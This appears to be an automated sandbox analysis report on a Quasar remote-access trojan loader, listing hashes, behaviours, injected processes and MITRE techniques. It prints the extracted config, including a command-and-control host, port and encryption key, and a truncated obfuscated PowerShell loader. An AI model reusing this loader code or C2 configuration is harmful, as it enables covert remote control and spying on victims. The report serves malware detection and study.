quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
279s
max time network
279s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 15:23

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General

Target

Queen Loader.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral3/memory/5044-22-0x00000000086B0000-0x00000000087A2000-memory.dmp	family_quasar
behavioral3/memory/3724-80-0x00000000083F0000-0x000000000845C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral3/memory/380-99-0x0000000000D30000-0x0000000000D9C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3556 created 632 3556 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 3724 powershell.exe
6 3724 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

5044 powershell.exe
1408 powershell.exe
3724 powershell.exe

description	pid	process	target process
PID 3556 created 632	3556	powershell.EXE	winlogon.exe

flow	pid	process
4	3724	powershell.exe
6	3724	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

Install.exeNew.exe

pid process

2780 Install.exe
380 New.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com

pid	process
2780	Install.exe
380	New.exe

flow	ioc
2	ip-api.com

Drops file in System32 directory 14 IoCs

Processes:

OfficeClickToRun.exesvchost.exepowershell.EXEsvchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\$77New.exe	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3556 set thread context of 3512 3556 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 3556 set thread context of 3512	3556	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

3556 SCHTASKS.exe

pid	process
3556	SCHTASKS.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	svchost.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exe

pid	process
5044	powershell.exe
5044	powershell.exe
1408	powershell.exe
1408	powershell.exe
3724	powershell.exe
3724	powershell.exe
3556	powershell.EXE
3556	powershell.EXE
3556	powershell.EXE
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3724	powershell.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3724	powershell.exe
3512	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeIncreaseQuotaPrivilege	1408	powershell.exe
Token: SeSecurityPrivilege	1408	powershell.exe
Token: SeTakeOwnershipPrivilege	1408	powershell.exe
Token: SeLoadDriverPrivilege	1408	powershell.exe
Token: SeSystemProfilePrivilege	1408	powershell.exe
Token: SeSystemtimePrivilege	1408	powershell.exe
Token: SeProfSingleProcessPrivilege	1408	powershell.exe
Token: SeIncBasePriorityPrivilege	1408	powershell.exe
Token: SeCreatePagefilePrivilege	1408	powershell.exe
Token: SeBackupPrivilege	1408	powershell.exe
Token: SeRestorePrivilege	1408	powershell.exe
Token: SeShutdownPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeSystemEnvironmentPrivilege	1408	powershell.exe
Token: SeRemoteShutdownPrivilege	1408	powershell.exe
Token: SeUndockPrivilege	1408	powershell.exe
Token: SeManageVolumePrivilege	1408	powershell.exe
Token: 33	1408	powershell.exe
Token: 34	1408	powershell.exe
Token: 35	1408	powershell.exe
Token: 36	1408	powershell.exe
Token: SeIncreaseQuotaPrivilege	1408	powershell.exe
Token: SeSecurityPrivilege	1408	powershell.exe
Token: SeTakeOwnershipPrivilege	1408	powershell.exe
Token: SeLoadDriverPrivilege	1408	powershell.exe
Token: SeSystemProfilePrivilege	1408	powershell.exe
Token: SeSystemtimePrivilege	1408	powershell.exe
Token: SeProfSingleProcessPrivilege	1408	powershell.exe
Token: SeIncBasePriorityPrivilege	1408	powershell.exe
Token: SeCreatePagefilePrivilege	1408	powershell.exe
Token: SeBackupPrivilege	1408	powershell.exe
Token: SeRestorePrivilege	1408	powershell.exe
Token: SeShutdownPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeSystemEnvironmentPrivilege	1408	powershell.exe
Token: SeRemoteShutdownPrivilege	1408	powershell.exe
Token: SeUndockPrivilege	1408	powershell.exe
Token: SeManageVolumePrivilege	1408	powershell.exe
Token: 33	1408	powershell.exe
Token: 34	1408	powershell.exe
Token: 35	1408	powershell.exe
Token: 36	1408	powershell.exe
Token: SeIncreaseQuotaPrivilege	1408	powershell.exe
Token: SeSecurityPrivilege	1408	powershell.exe
Token: SeTakeOwnershipPrivilege	1408	powershell.exe
Token: SeLoadDriverPrivilege	1408	powershell.exe
Token: SeSystemProfilePrivilege	1408	powershell.exe
Token: SeSystemtimePrivilege	1408	powershell.exe
Token: SeProfSingleProcessPrivilege	1408	powershell.exe
Token: SeIncBasePriorityPrivilege	1408	powershell.exe
Token: SeCreatePagefilePrivilege	1408	powershell.exe
Token: SeBackupPrivilege	1408	powershell.exe
Token: SeRestorePrivilege	1408	powershell.exe
Token: SeShutdownPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeSystemEnvironmentPrivilege	1408	powershell.exe
Token: SeRemoteShutdownPrivilege	1408	powershell.exe
Token: SeUndockPrivilege	1408	powershell.exe
Token: SeManageVolumePrivilege	1408	powershell.exe
Token: 33	1408	powershell.exe
Token: 34	1408	powershell.exe
Token: 35	1408	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

3724 powershell.exe

pid	process
3724	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2932 wrote to memory of 5044	2932	cmd.exe	powershell.exe
PID 2932 wrote to memory of 5044	2932	cmd.exe	powershell.exe
PID 2932 wrote to memory of 5044	2932	cmd.exe	powershell.exe
PID 5044 wrote to memory of 1408	5044	powershell.exe	powershell.exe
PID 5044 wrote to memory of 1408	5044	powershell.exe	powershell.exe
PID 5044 wrote to memory of 1408	5044	powershell.exe	powershell.exe
PID 5044 wrote to memory of 2800	5044	powershell.exe	WScript.exe
PID 5044 wrote to memory of 2800	5044	powershell.exe	WScript.exe
PID 5044 wrote to memory of 2800	5044	powershell.exe	WScript.exe
PID 2800 wrote to memory of 4756	2800	WScript.exe	cmd.exe
PID 2800 wrote to memory of 4756	2800	WScript.exe	cmd.exe
PID 2800 wrote to memory of 4756	2800	WScript.exe	cmd.exe
PID 4756 wrote to memory of 3724	4756	cmd.exe	powershell.exe
PID 4756 wrote to memory of 3724	4756	cmd.exe	powershell.exe
PID 4756 wrote to memory of 3724	4756	cmd.exe	powershell.exe
PID 3724 wrote to memory of 2780	3724	powershell.exe	Install.exe
PID 3724 wrote to memory of 2780	3724	powershell.exe	Install.exe
PID 3724 wrote to memory of 2780	3724	powershell.exe	Install.exe
PID 3724 wrote to memory of 380	3724	powershell.exe	New.exe
PID 3724 wrote to memory of 380	3724	powershell.exe	New.exe
PID 3724 wrote to memory of 380	3724	powershell.exe	New.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 3512	3556	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 632	3512	dllhost.exe	winlogon.exe
PID 3512 wrote to memory of 684	3512	dllhost.exe	lsass.exe
PID 3512 wrote to memory of 996	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 552	3512	dllhost.exe	dwm.exe
PID 3512 wrote to memory of 452	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 704	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1068	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1076	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1156	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1164	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1244	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1304	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1420	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1472	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1480	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1560	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1572	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1688	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1708	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1756	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1848	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1868	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1740	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1980	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 1968	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2068	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2136	3512	dllhost.exe	spoolsv.exe
PID 3512 wrote to memory of 2180	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2360	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2472	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2480	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2520	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2612	3512	dllhost.exe	svchost.exe
PID 3512 wrote to memory of 2624	3512	dllhost.exe	sysmon.exe
PID 3512 wrote to memory of 2648	3512	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:552

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{fd69fb5a-6762-4b72-aaf4-c669e1fffa7e}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3512

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ycHrhRKkEkQe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kgNiAweiPHvOvw,[Parameter(Position=1)][Type]$CIuQyREIAp)$tbHodKdPXSz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+'e'+'c'+[Char](116)+''+'e'+''+'d'+''+[Char](68)+'e'+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+'ele'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+'s'+'s,'+'P'+'u'+[Char](98)+'lic,'+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+'s'+'s'+',A'+[Char](117)+''+[Char](116)+'oC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tbHodKdPXSz.DefineConstructor(''+'R'+''+'T'+'Spe'+[Char](99)+''+'i'+''+[Char](97)+'l'+'N'+''+[Char](97)+'m'+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+'P'+'u'+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kgNiAweiPHvOvw).SetImplementationFlags('Run'+'t'+'im'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$tbHodKdPXSz.DefineMethod('I'+'n'+''+'v'+'o'+'k'+'e',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+'S'+''+'l'+''+'o'+'t'+','+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$CIuQyREIAp,$kgNiAweiPHvOvw).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e'+','+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $tbHodKdPXSz.CreateType();}$LEnQRauVjJwpI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 